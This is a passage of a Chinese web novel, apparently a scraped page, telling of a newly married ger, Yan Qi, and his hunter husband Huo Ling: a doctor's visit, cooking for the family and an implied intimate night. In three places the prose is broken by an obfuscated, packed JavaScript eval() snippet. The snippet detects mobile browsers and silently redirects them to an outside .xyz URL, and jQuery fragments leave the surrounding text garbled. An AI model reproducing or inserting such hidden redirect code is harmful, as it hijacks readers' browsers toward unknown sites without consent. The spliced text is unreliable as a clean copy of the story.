指尖搭上小哥儿的手腕，他凝神许久，轻颔首道：“前头开的那药不必再吃了，我给你换一副旁的，再吃上个半月瞧瞧。” 一听上来就是半月，颜祺试着问：“大夫，这药非得吃那么久么？” 他其实是想说自己没什么大毛病，马胡子却是笑道：“怎的，怕药苦？” 颜祺想说不是，却被霍凌抢白。 “良药苦口，都听马叔的。” “正是，不过我给你开的这方子还真不怎么苦。” 马胡子铺开纸落下几个墨字，劝颜祺道：“你别不把自己的身子当回事，你岁数不算太大，又是刚成亲，不晓得里头的利害。” 说到这里，他瞄一眼霍凌，明显意有所指。 “要紧记着，有些事和亲事一样都讲缘分，该来就来，急不得。” 颜祺一时没反应过来，霍凌也愣了一下，旋即明了马胡子怕是在说关于孩子的事。 在旁人瞧来，霍凌二十好几的才成亲，肯定是盼着早要孩子的，霍家两代单传，到霍峰、霍凌这辈好不容易得了两个男丁。 霍大膝下只一个闺女，霍二再不加把劲，岂不又得断了根儿。 偏又赶上颜祺这么个夫郎，眼下瘦巴巴一把，便是怀了，生时恐也要搭上半条命。 霍凌见不知内情的哥儿目露懵懂，不急着在外人面前解释，只道：“我都能等到这岁数才成亲，别的事上，要急早就急了。” “那就好说。” 马胡子高看霍凌一眼，抬手摸摸自己的两撇小胡子，“方子写成了，你们且等片刻，我去抓药来。” 过了一阵子，药还没配齐，马家门口又来辆牛车，风风火火将马胡子的媳妇接走了。 颜祺问过霍凌才知，马胡子的媳妇是个有家传本事的稳婆，两人也算凑到了一起去，一个管瞧病，一个管接生。 颜祺经此提醒，慢半拍地想明白马胡子刚刚说的话，眉头微拧，哥儿本就不如姑娘家好生怀，所以好些人家说亲不爱说哥儿，真出嫁了，彩礼也要少两三成。 自己的肚子若是不争气…… 霍凌忽而见小哥儿换了副忧心忡忡的神情，手还虚虚隔着衣裳搭在肚皮上，心思轻转，有所猜测。 “我刚刚和马胡子说的不是场面话，是我心里确实那么打算，而且……现在说那些还太早。” 颜祺摸了摸耳朵。 说的也是，他虽是第一次嫁人，但也知道单是睡在一处是怀不上孩子的。 何况还不是一个被窝。 人在外头，有些话不好再说详了，两人止了话头，肩挨肩坐在一条凳上等马胡子。 “就，就是这。” 坐着坐着，院外响起熟悉的人声，霍凌眉毛轻挑，抬头看去。 木门推开，先进来一个高个头的汉子，果然是林长岁。 7. 初上灶 “明哥儿？” “小祺哥！” 两个哥儿没等汉子们反应过来，就已各自小跑着迎上去，两双手紧紧攥在一处。 颜祺上下打量他，见他周身整洁，不像是受了委屈的，心里稍松，关切道：“你怎也来这处了，可是身上不舒服？” 肖明明小幅度地摇了摇头，用只有颜祺一个人能听清的声音道：“我好着，是……是长岁和他娘不放心，非说过来把个脉，也好安个心。” 肖明明这人性儿怯，遇见生人说话都不敢大些声，但认准了谁，便是掏心掏肺得好。 他和颜祺原是半路遇上的，老家不在一处，各都失了好些亲眷。 进城前颜祺还有亲娘在，肖明明是爹和小爹都没了，本还有个兄长，路上为帮家里人多抢一口吃食，教人生生打死。 两个哥儿这般相扶持着，一道挨过饿，遇过险，是共患难的情谊。 其实旁人不知，在双井屯时沈家本也想将肖明明要了去，言他虽是瘦小了些，但看着还算伶俐，能勉强当个杂使。 肖明明却记得颜祺半路说的，去那地主门户当奴才伺候人，未必有嫁个贫寒人家做正头夫郎强。 为奴为婢，人家说打便打说骂便骂，进了那道门，必是一辈子都在里头了，有个什么趣儿？ 正巧同行有个哥儿本就与他俩不睦，故意同来选人的沈家管事妈妈说，颜祺身上带病，肖明明和他总凑在一处，保不齐身上也过了病气。 那管事妈妈一听果然就打发赵官媒，让赶紧把人带走，只领了先前选的那些个。 而今肖明明在林家待了几日，见林家人良善，只觉颜祺说得对，幸好自己听了他的，心中多是感激。 两个哥儿有日子没见，多的是话讲，只是没等说几句，马胡子就出来递药，收了药钱后又喊肖明明进去号脉。 霍凌知颜祺不舍就这么走了，便道：“咱们不赶时间，不妨等上他们片刻，一会儿取了灯油，正好结伴回村，路上也有个说话的人。” 颜祺一听果然面露欢喜。 等人时无事可做，霍凌便指着马家院子里晒的一些个药材，捡着自己认识的，同颜祺讲哪些能在白龙山上寻得。 赶山这个行当在颜祺老家是没有的，他们那边虽也有山，当中有像他爹那般的猎户，但到底不是高山老林，滋养不出那么多值钱的山货，养得起专门的赶山客。 不似白龙山，早听闻其中有三宝，人参、貂皮、乌拉草。 另还有别的说法，例如鹿茸、灵芝云云，都是听着就觉价贵的奢侈物。 他问霍凌可都见过，霍凌点了点头。 “乌拉草你已见过了，家家户户蓄来铺炕的就是，其余的也都经过手。” 只是即使得了这几样，卖给走商时价也压的低，即使知晓他们去关内能翻上好几番出手，照样没办法。 颜祺明白这道理，“也是难免，人家有路子，能走南闯北地贩货，自也要把路上的花销折进去。” 他同霍凌讲，出关的路上曾遇到过不少商队。 “有心善的，会舍我们些吃食，容我们跟在他们后面行路，也有那些下手驱赶的，遇上这种，我们便远远避开，不讨人嫌。” 霍凌发现自己很是听不得颜祺说这些，“以后有我在，没人能欺了你。” 颜祺本没这意思，一路上他经历得太多，早已学会了不往心里去，可霍凌冷不丁冒出这么一句，还是教他心狠狠跳了两记。 霍凌瞧小哥儿的耳朵倏地红了红，人也掩唇轻咳两声，一下子紧张起来。 “可是不舒服？” 好好的人怎么突然显了红，别是又发热了。 他抬起大手就要来试颜祺的额头，哥儿自是清楚自己不是发热，被他这两下子惹得哭笑不得，却又面皮薄，含糊道：“我没发热。” 他揉揉耳朵，扯起瞎话。 “我……我一向这样，多半是风吹的。” “怪我，好好的天儿在院子里吃什么风，该进屋去等的。” 霍凌扯了颜祺进屋，正巧赶上马胡子已为肖明明诊罢，开了几日的温补药材。 林长岁拿出钱袋往外数铜板，里面都是他前阵子趁农闲，在镇上做力工攒的工钱，也是赶了巧。 亏得有这笔进账，不然他还拿不出余钱带肖明明抓药。 离开麻儿村前，霍凌独自去王家油坊取了灯油，颜祺本想帮他提一壶，霍凌却避开他的手。 “你和明哥儿一处说话去，两壶油才多沉。” 颜祺听了他的话，和肖明明落后两个汉子一段距离，慢悠悠地往回走。 觑着前面人该是听不见，肖明明小声问颜祺，“小祺哥，霍大哥待你如何？” 颜祺就知他要问这个，八成已憋了好半天了，便道：“待我不差，不说别的，我先前病成那样，人家也没嫌，足可见是一家好心人。” 肖明明却说他有些害怕霍凌，“他看着冷煞煞的，出门还带刀。” 这样的汉子，总让人疑心是不是人前一个样，人后一个样。 “他在山中讨生活，带刀是习惯，就似那农户下地，不也得扛把锄、拎把锹。” 肖明明挎住他的胳膊，“你瞧，你已经向着他说话了。” 颜祺只是笑，想了想，把袖子往上拽了拽，给肖明明看那个缀在红绳上的小葫芦，有些不好意思道：“这是他送我的，说是看我夜里总被梦魇住，桃木能压惊。” 肖明明看过，实打实替他高兴。 “那他属实有心。” 颜祺反过来问对方在林家如何，肖明明望了眼林长岁的背影道：“他家日子是难了些，可只要能吃饱穿暖，于咱而言不就是神仙日子了，他和他娘也都好说话，不是那等磋磨人的。” 说到底，见面前彼此都怕对方过得不如意，而今互相一问，便都放下了心，说定日后常走动。 自郎中处回来，一家人简单吃了午食。 霍峰和叶素萍问了两句颜祺的病症，得知和上回说的一样，只是开了些调养身子的药，遂都宽慰颜祺安心。 收了碗筷，农家活计是做不完的，便散开来各忙各的。 霍凌扛了农具，跟着霍峰去地里。 因颜祺来家，霍凌多耽搁了几日没上山，放在往常，他只在家待两日，赶完集的次日一早就走人了。 正好趁多留的两天，帮霍峰分担些地头的事。 霍家现今有五亩地，一般是两亩种麦，两亩种高粱，余下一亩种苞米，当中属麦子最金贵，高粱其次，苞米收成最丰。 撇去粮税，五亩地的粮并不够一家人一年吃喝，多还要向外买粮，霍峰曾和霍凌算过账，道是家里再添上个三亩地，好年景里的粮食便能自给自足。 可好田地价钱不低，还不好离家里现在的田地太远，否则农忙时顾都顾不及，加上霍凌迟迟不成亲，霍峰不许他大动手里的银钱，需知要是正经娶亲，彩礼加上酒席，没个十几两甚至二十两，绝对办不下来。 买地的事就一直搁置着，已好些时候没说起过。 霍凌在地头穿着件单衣，袖子高挽，甩膀子干出一身汗，中途往地头歇息，他看着面前的田地，跟大哥说起自己想了几日的盘算。 “虽说祺哥儿面上过了门，我想着礼数还是不能省，合该挑个好日子摆酒，回头去给爹娘上坟，也有个说头。” 他想了想又道：“我现今手里有些银钱，待摆完酒点算点算，若再遇见好田地，不妨就趁早买了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691357|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于霍凌打算办席面，霍峰并不觉意外，就如在进山一事上不听劝，他这个二弟总有自己的坚持，认准了就一定要做。 “是该办个酒，一来好教人知道，咱家对祺哥儿满意，不差一场席面钱，二来说句实在话，过去几年里你因着村里红白两事，还有甚么百日宴满月酒的，没少往外掏礼钱，有个席面，也好往回收收，人情往来，就是麻烦在这儿。” 此话真不假，霍凌出手随礼从不吝啬，这等事本就是有来有往，讲究的人心里都有本账，若谁得了不差的随礼，日后回礼时给得寒酸，是要被人在背后说嘴的。 而摆酒办席的主家人把饭菜操持好了，让人不觉给的礼钱太亏，两方都能落个好口碑。 “那更得办，好好地办。” 霍凌脱下鞋子拍打一番里面的土，重新穿上后原地蹦一下站起，活动着肩膀道：“我明……算了，还是后日上山去，淘些山货，赶着十五那日下来，去大集上换些银钱好做席，再下几个兽套子，若能得些野物，也好给席面上添个菜。” “一说上山就来劲。” 霍峰闻言，忍不住摇头，跟着起了身。 关外天冷，踩着春末的关口春耕，五亩地让两个青壮汉子来翻，一日的工夫就翻完了。 当中还翻出来不少软趴趴的蚯蚓，带回去喂鸡使，回家后拿出来，惹得霍英大呼小叫。 听得动静，灶屋门开，颜祺端了两盏子水出来。 “大哥呢，你俩喝口水。” 霍凌接过，“大哥领着英子去后院拿蚯蚓喂鸡，他这碗先放着。” 接着边喝水边看颜祺身上系着件围裙，疑惑道：“今天晚间你治菜？” 恰好身后叶素萍抱了些新柴过来，刚刚烧火见灶屋里不多了，遂去柴房提了一捆，闻言道：“非跟我争，争了好半晌，本想让他继续歇着，前几日还病得厉害嘞，家里又不是没人，哪用上他操持饭食，。” 颜祺伸手去接柴，惭愧道：“我都好全了，哪里能成日在家吃闲饭，便是嫂子不嫌我懒笨，我自个儿心里也过不去。” 霍凌见此当即把盏子递回颜祺手里，帮着提柴进灶屋。 叶素萍在后头看颜祺一眼，朝他努嘴，“瞧老二多疼人。” 颜祺面薄，只是抿唇笑了笑，不肯说话。 进来后，霍凌见着锅台上已备好了几样菜，铁锅里蒸了干饭，一股子米香味。 菜是两碗泡在水里的干菜，一样是干土豆片子，一样是黄瓜钱，除此之外还有一碟子干豆腐。 这时节家里仍是吃冬日囤的菜，要么是地窖里的鲜菜，要么是入冬下雪前制的干菜。 “做个土豆干炒黄瓜钱，再酱烧个干豆腐。” 颜祺见霍凌看得入神，以为他饿了，“我加紧做，一刻钟就能吃上。” 说着的同时在作裙上抹了两下手，提了菜刀切干豆腐，“唰唰”几下，齐齐切作手指宽的条。 又自墙上挂的干辣椒扯了几个，和剥好的大蒜一起，一样切段，一样切片，完事后往砧板角落一抹，预备着稍后直接下锅。 一看这架势就知小哥儿不是胡说，过去在家里定是常在灶上忙活的。 叶素萍不知何时退了出去，霍凌自然而然地用脚勾来板凳，坐下帮着烧起火。 颜祺本想说不需要人打下手，过去家里大爷和爹没分家，连上爷奶在内十口人，两房轮着做饭，他一人做全家的也不在话下。 现在霍家只五张嘴，比起来简单得多。 但见霍凌埋头烧火，眸子被燃起的火光映亮，半点没有挪步的意思，他便没吭声，打心底里也乐得和霍凌呆在一处。 小两口搭着手，没花多久就将一顿饭做出来，香喷喷，热腾腾。 8. 抱着睡 虽只两样菜，却使家里几口子都赞不绝口，言说颜祺灶上手艺厉害，像那干豆腐，做出来和肉一般香，好生下饭。 直把颜祺夸得都要不好意思动筷。 “都是些家常菜，想是家里头一回尝，觉得新鲜。” “哪有的事，好吃就是好吃。” 叶素萍道：“我这人做饭手艺糙，盐要么多了要么少了，你大哥更是不成，做的饭狗都不吃。” 霍峰噎了一下，抬头道：“咋还有我的事？” 叶素萍斜他一眼，“你只说是不是，上回你做的菜大个儿闻都不闻。” “那是它常在山里自己打野味，嘴都养刁了，咱村里哪还有狗子吃得和它一般好，好些人都比不上，是吧大个儿？” 远处趴在院子里的大个儿耳朵抖了抖，不解地歪歪头。 他俩说得起劲，颜祺左看右看，有些个想笑，又不太敢。 霍凌见他端着碗不动嘴，主动给他夹了几筷子菜，凑近些小声道：“别管他俩，隔三差五就要斗嘴的。” 颜祺“嗯”了一声，往嘴里送了一口菜，又悄悄侧脸看霍凌，见汉子吃得喷香，头都不抬，唇角轻扬了扬。 做饭的人时常不多爱吃饭，见了旁人吃自己做的饭吃得香，那才是最高兴的。 吃罢，两人要一道收拾碗筷，霍峰不让。 “做饭的人不刷碗，我和你们嫂子来。” 霍英也跟着来回运碗碟，和叶素萍一道蹲在盆前洗刷，鼻尖上都挂了水珠，霍峰则在后面弯腰刷着铁锅，将脏水舀出来泼掉。 一家人热闹得很。 霍凌看了几眼，退回屋里，和颜祺说了后日要上山的事。 颜祺斜坐在炕上，刚拿出针线筐子一听这话，自然而然以为自己要跟着上山。 他忙放下手里东西问霍凌，“都要预备什么？我听嫂子说，从前都给你多做些干粮，不过我跟着你去，进了山也能现做。” 干粮备得再好，哪比得上现制出来的好味道。 没成想霍凌摇了摇头。 “你身子还没养好，这回先不用跟我去。” “我已是好了，还得好成什么样。” 颜祺瞧着有些不情愿，他是嫁给霍凌当夫郎的，不跟着汉子上山，在山下躲懒算什么事。 霍凌却是想好了，坚持道：“下次进山定带你，这回不成，别看入了春，山上比山下冷，雪都没化干净，到时再添个新症候，又得多吃几日的苦药。” 且安慰道：“我这回去不长，七八日就下来，初一那日的大集没去成，十五的总是要赶上。” 他没说的是，山上屋子就如霍峰所说，乱的不像话，他自己胡乱住着就罢，教大哥看见也不觉得臊，但让颜祺看见就不成了。 正好趁这回独自上去，先收拾一番，好歹凑出个能见人的样。 只是说完，见颜祺低头不语，手上摆弄着衣料子，扯皱了都没下两针，他心里怪过意不去，想了想，上前挨着哥儿坐下。 身边一下子多了个人，还是高壮汉子，颜祺只觉油灯都被罩得不亮了。 他不得不转了转身，把手中料子凑到更亮的地方，霍凌却压了下他的手。 “等白日做，这会儿这么暗，伤了眼睛多不值。” 颜祺见霍凌坚持，只得暂且把料子放下，针也插回线团里。 默了片刻，他问霍凌，“你真不打算带我去？” 霍凌让小哥儿用微微上抬的目光看着，险些嘴一松答应，幸好及时回过神。 “等下回。” 他道：“且你留在家里也闲不下。” 颜祺便当霍凌有旁的安排，认真听着，不料顺着往下说，说到了两人的喜酒上。 “实则明日就能走，但想了想还是挪到了后日，双井屯有个做木匠的，我早几年囤了几块老榆木的料，为着成亲时打家具使，这回想着先去定上一口箱，一只新柜儿，别回头来不及，再找人看个这月里的好日子。” 他说了好半晌，见小哥儿不言语，不禁道：“可是有哪里不妥当？” 颜祺赶紧摇头，“没。” 他垂眸道：“我只是没想着家里还要摆酒，得费不少银子吧？” 霍凌含笑，“一码归一码，这等事哪能因为花钱就不做了，一辈子就这一遭。” 是啊，一辈子就一遭。 试问哪个小哥儿出嫁前没想过自己成亲那日的模样，本还以为自己没这福气。 颜祺目光闪动，眸子亮了亮。 “依着我老家的习俗，新夫郎要给汉子做身新衣裳、一双新鞋。” 霍凌一算，这得做多少针线活，便道：“你先紧着自己的来，我的就不必了，年前嫂子帮我制了新衣，除却拜年那两日，再没穿过，和新的一样，到时系条红腰带照样用。” 颜祺数了数日子，如果是十八那天摆酒，好像确实来不及。 自己现今就身上一套衣裳，若是成亲那日穿，提前想洗一洗都没得换。 “那衣裳不做，鞋一定要做。” 他低头看一眼霍凌的大脚，比划了一下，暗惊了惊。 这鞋样子画出来，怕不是抵自己两个。 “大嫂那可有你的鞋样子？” 见霍凌点头，他道：“我明日就要了来，趁天晴先打个袼禙晒干，把鞋底子糊出来。” 再往下纳鞋底子也好，缝鞋帮子也好，就不挑时候，得空就能做。 颜祺和霍凌商量，“我把油灯挑亮些，你允我做上半个时辰，白日还有白日的活儿。” 上山不答应，总不能这事也不答应，霍凌退一步依了他，不过自取了针去挑灯芯。 待灯花一爆，屋内果然亮堂许多。 颜祺满意地开始穿针引线，一时也没留意霍凌又坐回原处，还在自己身后。 都说灯下看美人，颜祺眉眼不差，是个秀致清丽的，只是之前气色沉沉，掩了好些光彩。 这厢几日面上黄气褪了些，唇上见了血色，让灯火一烘，惹人心荡。 以前饭后，霍凌要么去院里逗狗，要么找些别的事打发时间，觉得困倦了才上床睡觉。 今天见小哥儿在炕上忙碌，自己竟也不想离太远，思来想去，他拿起针线筐里斜插的木梳。 “我帮你篦篦头发。” 此事说来，颜祺怪羞耻。 他来霍家时头发里不少虱子，亏得第一晚包头发睡的，没沾上炕，次日赶着洗头发也是为这个。 叶素萍还特地为此去村里别家打听，要来包药粉，给他洒在发根上，捂了好一阵，再过遍水后水面上便飘了好些死虫。 除此之外还剪了剪发尾，把一些个打不开的死结连带枯发都剪去，使一块布包好烧了。 给药的那家姓孙，他家夫郎娘家有人采药为生，懂些草药皮毛，说这药粉好用得很，一次就能杀净。 颜祺却不放心，这几日还是每日拿梳子细细篦两回。 霍凌知他这习惯，既然手上占着，不如自己来。 颜祺不好言拒，夫夫两个，说不让反而显生疏，故而微低了头，由着霍凌摆弄。 霍凌拿了梳，解了颜祺束发的发带，自头顶往下一片片地篦，及腰的长发梳半天方能梳到头。 小哥儿的头发还是有些糙，一不小心就会扯到，梳不通。 霍凌小心着，还是扯到了几次，听到小哥儿吃痛的气音，他过意不去，笨拙地搓了搓那处发顶，惹得颜祺觉得痒痒的。 “改日货郎过咱们村，我记得他那有香发油卖，大嫂就有，你若遇见了也买上，长久用着，头发黑亮。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691358|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说这个他还想不起来，颜祺手里没有银钱，自己要是上了山，小哥儿想添点什么都没办法。 他放下梳，去自己带下山的褡裢里摸了摸，掏出一串铜板，也没细数，大概有个五十几文。 “这钱你拿着。” 颜祺被霍凌塞了一把钱，觉得手心里沉甸甸。 “这也太多了。” 过去在家他都没经手过这么多钱，家里头没多富裕，钱财自都在娘的钱匣子里锁着。 唯有个七八文，偶尔在货郎处买根头绳，两块饴糖都很高兴。 “哪里算多，一小瓶香发油都得二十文。” 霍凌道：“我大宗的银钱都在山上存着，带下来的不多。” 言下之意，他还觉得给少了。 颜祺拿着钱没处放，不过这事也容易，拿了裁衣剩下的布头，没多久就缝出个荷包，翻过来后针脚藏了进去，再在开口处穿上细布条，一收口就成了。 以前霍凌从没认真看过别人做针线，颜祺手上灵巧，倒让他看得移不开眼。 “褡裢口袋大，有时觉得钱放在里头不太稳当，好似还是添个荷包更好用。” 颜祺听他如此说，没多犹豫，忙把刚缝好的荷包递出去。 “你先用这个，我再制一个自己用，反正这银钱我也不带出门。” 又抿了抿唇道：“这个图快，做的不咋好看，你别嫌。” “哪有，我觉得挺好，和你新衫子一个色。” 霍凌像是怕颜祺反悔似的，一把接过来，荷包在颜祺手里显得不小，在他掌里却衬得玲珑。 说实话，铜板多了就放不下，也就只得塞上五六十文，可霍凌还是很心喜。 “那我就用着了。” 荷包到手，头发也篦了个透，霍凌手劲大一些，把小哥儿的头皮梳得酥麻，做了半晌针线后觉出困意来。 乡下人多是鸡叫两三遍，天刚亮即起，夜里为了省灯油，不会太晚才睡。 霍凌瞅着颜祺眯起眼，打了个呵欠，牵了人出去兑水洗漱。 两人对着用刷牙子蘸盐洁了牙，分着用一盆水打湿布巾抹了脸，末了端着盆子进屋烫脚。 水里还撒了老姜片，为的是驱寒，因此只有颜祺用。 水偏热些，把姜气催发出来，熏的一屋都是，也确实有用，泡完之后浑身都热乎乎的。 不单颜祺舒服，霍凌也被这份热气儿勾了去。 说句实话，刚刚篦头发时他就已觉得火气朝下走，亏得衣服宽敞才没显露。 这会儿熄灯后上炕，面朝上躺了没多久，他终究一个翻身，伸臂将枕边的哥儿揽住。 颜祺整个人绷得不敢动，还是霍凌察觉到他的紧张，抬手在他后心慢慢安抚着。 哥儿瘦弱，一摸一把硬邦邦的排骨架，只怕一使劲就碎，霍凌小心着，遵循本能，慢慢地把人朝怀里带。 深知有些事早晚都要来，颜祺默默呼了两口气，塌下身子，顺着霍凌的动作，钻进身旁暖烘烘的被窝，头顶轻轻贴上汉子的肩头。 这下换成霍凌僵了下，他还在思虑怎么跟小哥儿说撤去一床被，还没说出口，被子里已多了个人。 想来也知颜祺误会了。 他开口，动静有些沙哑。 “我就是……想和你挨近些，暂且不做那档事。” 不过要说忍，血气方刚，素了多年的汉子，搂了夫郎在怀，也确实有些忍不住。 要是没反应才该去看医了。 颜祺没经过人事，初时还没想清，直到有些地方实是无法忽视，渐渐有所悟，羞得面上发烫，像刚出锅的馒头。 偏是此时，霍凌又往前近了些，多高大一汉子，愣是将下巴埋入颜祺的颈窝，用隐忍的音调，哑着嗓低低说了句什么。 9. 亲一口 枕间气息烫人。 颜祺稍稍偏过头，霍凌方才说的话犹在耳畔。 “小祺……你帮帮我。” 他不解霍凌刚刚说的“帮忙”是怎么一回事，硬着头皮小声问：“怎……怎么帮？” 霍凌忍得发胀，躬了躬身，在被子里摸到哥儿的手，轻轻扯了过来。 两相触碰上时，颜祺倒吸一口气，眼珠儿都睁圆，他羞得使另一只手捂住嘴，任由霍凌引着动作。 半点不敢仔细想棉被下盖住的地方正在发生什么。 …… 两回过后，连用了两条布巾才擦净，霍凌从那等上头的状态中回过神，面皮也泛起烫来，将被子掀开些朝外散味。 “我去打些水，洗洗再睡。” 颜祺在霍凌出门后又保持着原有的动作好半晌，才稍稍动了动腿和腰，只觉浑身都酸了。 原来夫夫的床上事还能这般做，他抬手想要揉揉脸，又想及刚刚手心里沾了什么，尴尬地放了回去。 霍凌没多久就提了些水进来，让小哥儿洗洗手。 颜祺蹲在地上搓了几下，起身时见霍凌弯着腰举着灯，仔细翻看床上被褥，四处摸了一遍方罢休。 头一回干这等事，两人都有些不敢看对方似的，然而再上床，却不约而同只盖了一床被，将另一床暂推到了靠墙的地方去。 虽不是来真章，可霍凌好歹是得了顿饱，搂着夫郎闭眼时都扬着嘴角。 而颜祺也是真累了，一是紧张，二是手腕子酸，没多久也睡深。 天亮起时，霍凌第一个睁了眼。 昨晚睡得实在，半个梦没做，他想翻个身，发现被角另一侧让颜祺给压住。 而小哥儿还没醒来，侧对着他阖眼躺着，或许是沾了霍凌的火气，脸颊难得红扑扑的。 霍凌看着心喜，靠近前去在小哥儿面上亲了一记，这辈子头一回干这事，自觉轻得很，没成想还是把人给吵醒了。 “……天亮了？” 人刚睡醒时都得迟钝一阵，颜祺人是醒了，却好像没发现刚刚霍凌做了什么，他揉着眼睛欲起身。 “今日得给你做干粮，我早些起，正好烧了水，等哥嫂和英子起来一道用。” 霍凌瞧了眼天色，估计才卯时中，月亮怕还在天上印着影子，倒有些懊悔把哥儿吵醒。 “还早着，再睡会儿。” “你睡着，我这人一睁眼就睡不着了。” “那我跟你一起。” 夫郎都起了，自己独自赖床也没什么意思。 两人各穿了衣，套上鞋出屋。 别看灶屋连着卧房，但一开门还是有轻薄的寒意涌进，因侧耳听着霍峰一家子还没醒，两人做事皆轻手轻脚。 倒出洗漱用的水，换进陶罐里搁在矮炉温着，颜祺另舀了两碗苞米碴煮粥做早食。 苞米价廉，是农家常吃的。 在霍家几日他大概摸清了霍家早食惯常吃什么，多是一人一碗粥米，就着酱菜下肚，有滋味还顶饱。 此外还会煮两个鸡蛋，原本是一个的，只给霍英吃，现下颜祺来了，道他要补身子，所以又添了一个。 只是先前都是叶素萍煮蛋，轮到颜祺，他不好意思多拿一个给自己吃，天尚未回暖，母鸡下蛋不多，蛋随着价昂，一个怕是不止两三文。 还是霍凌路过看他只捡一个蛋洗了洗进锅，让他多添一个。 “不用不好意思，鸡蛋虽是大嫂养的鸡下的，但咱家也往公中交了用度。” “其实也不用天天吃，英子岁数小还在长个头，我吃不吃都一样。” “哪能一样，家里不是成日沾荤腥，要连蛋都吃不上，你啥时候才能长些肉。” 霍凌索性自己上手，多放了个蛋在笼屉里，这般下面粥煮好了，上面的鸡蛋也焖熟。 独睡在柴屋里的大个儿也早醒了，听得主人出门的声响，慢悠悠地踱步出来抖抖毛，伸了个长懒腰。 霍凌给他涮了涮水盆，又在吃饭的碗里掰了几个苞米面窝头。 “你俩怎起这么早？” 霍峰头一个系着腰带出屋，哈欠打得往外窜泪花，他狐疑道：“我没记错吧，老二不是明日才上山？” “是明日，我勤快些你还不乐意？” 霍峰“啧”一声，绕过他和颜祺问了声“早”，自去门口蹲着洗漱。 颜祺发现霍家使人呆得舒服，也有这原因在，霍家两兄弟岁数差得不算太大，相处自在，霍凌这个当弟弟的总有些没大没小。 因此即使各自娶了亲，亦不改已有的亲疏。 填饱了肚，灶屋里的粥香改做药味，苦巴巴的散去好远。 霍凌举着饴糖看小哥儿喝药，喝完后赶紧把糖递过去，往舌上一含，浓烈的甜压过复杂的酸苦，颜祺皱着的眉头很快松开。 “你跟不跟我去双井屯？” 霍凌收拾着褡裢，把昨晚从小哥儿处得的荷包里填上铜板，直接拴在腰带上，保准谁打对面过来，第一眼就能望见。 “我借村长家牛车运木头去，你坐车上也不累。” 颜祺犹豫一瞬道：“还是不去了，我在家做活。” 除了给霍凌备干粮，他还想加紧把一身里衣裁出来，昨晚他洗手时还仔细看了衣裳，幸好没弄上。 现下只一身大嫂的旧衣，弄脏了不说没得换，单是为这事洗了晾出去…… 他怕是要觉得没脸见人了。 “也好，外面不算暖和，不去就不去了。” 霍凌没强求，提了一罐子山上掏来的野蜂蜜，还有大嫂给的十个咸鸭蛋，往周家去借牛车，顺道谢过周成祖前些日子为着他亲事操心。 周成祖本不肯收东西，霍凌仗着对他家熟，直接进灶屋把东西搁下。 爷俩在屋里坐了片刻，吃了盏子茶水，听闻霍凌开始为喜宴预备，周成祖不免语重心长地叮嘱半天。 “往后好好过日子，有那银钱莫要大手脚地花销，攒着日后买地、盖屋，别嫌你老叔啰嗦，纵然你一时不下山，往后有了孩子，总保不齐孩子还乐意在山上跑，就像当初你爹娘，也是为着你兄弟两个下山安家。” “老叔说的是，我都记下了。” 周成祖等了两息，没等到霍凌顶罪，颇不习惯似的。 “真是有了夫郎便不一样，先前咋不见你这么听劝？” 村长媳妇陈氏在一旁陪坐，闻言弯了弯眼，笑道：“这还用说，定是二小子与颜家哥儿相处得好。要不人家肯提了东西，来谢你这个保媒人。” 周成祖愈发开怀，让霍凌去后院赶了牛车去用。 回家霍家兄弟俩把木头挑出来，搁在车板上用麻绳拴稳，颜祺跟着牛车，送霍凌到门口。 大个儿竖着尾巴跟过来，“呜呜”叫个不停，看样子也想出门。 颜祺摸了摸它的头顶，“你要不要带大个儿去？看它急得直哼哼。” “不带了，外村见了它定是要怕，遇上那事多的纠缠不休，好生恼人。” 霍凌随手捡起滚到门边的一个草编球，信手往远处抛，大个儿脑袋随着球转，高高蹦起追过去。 “你没事时陪它耍一耍，它得了乐子就不惦记出门。” 颜祺应下，向外追了几步，霍凌赶着车走出丈远， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691359|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到小哥儿还在原地，他不禁笑起来，挥手让他回家去。 …… “霍二！霍二！” 刚出了村子没一刻钟，霍凌在村路上遇着一架驴车，后面坐了个人。 他闻声抬眼去看，见对方正是少时在村里和自己交好的杨家汉子杨庆生。 杨家祖上也是关内逃难来的，有个家传的制伞手艺，先时是在村里自做了，送去给城中伞行卖。 后来到杨庆生老爹这辈，攒够了银钱在镇上赁了个铺面，待杨庆生能当家了，就把铺子交给他打理，自个儿回乡下养老。 所以杨庆生如今多在镇上，不常回村，加上霍凌又居于山中，两人上回见面还是正月串门子拜年时。 这杨庆生见了霍凌，直接把车赶停，往前倾着身道：“拉着木头，你这是往哪去?” 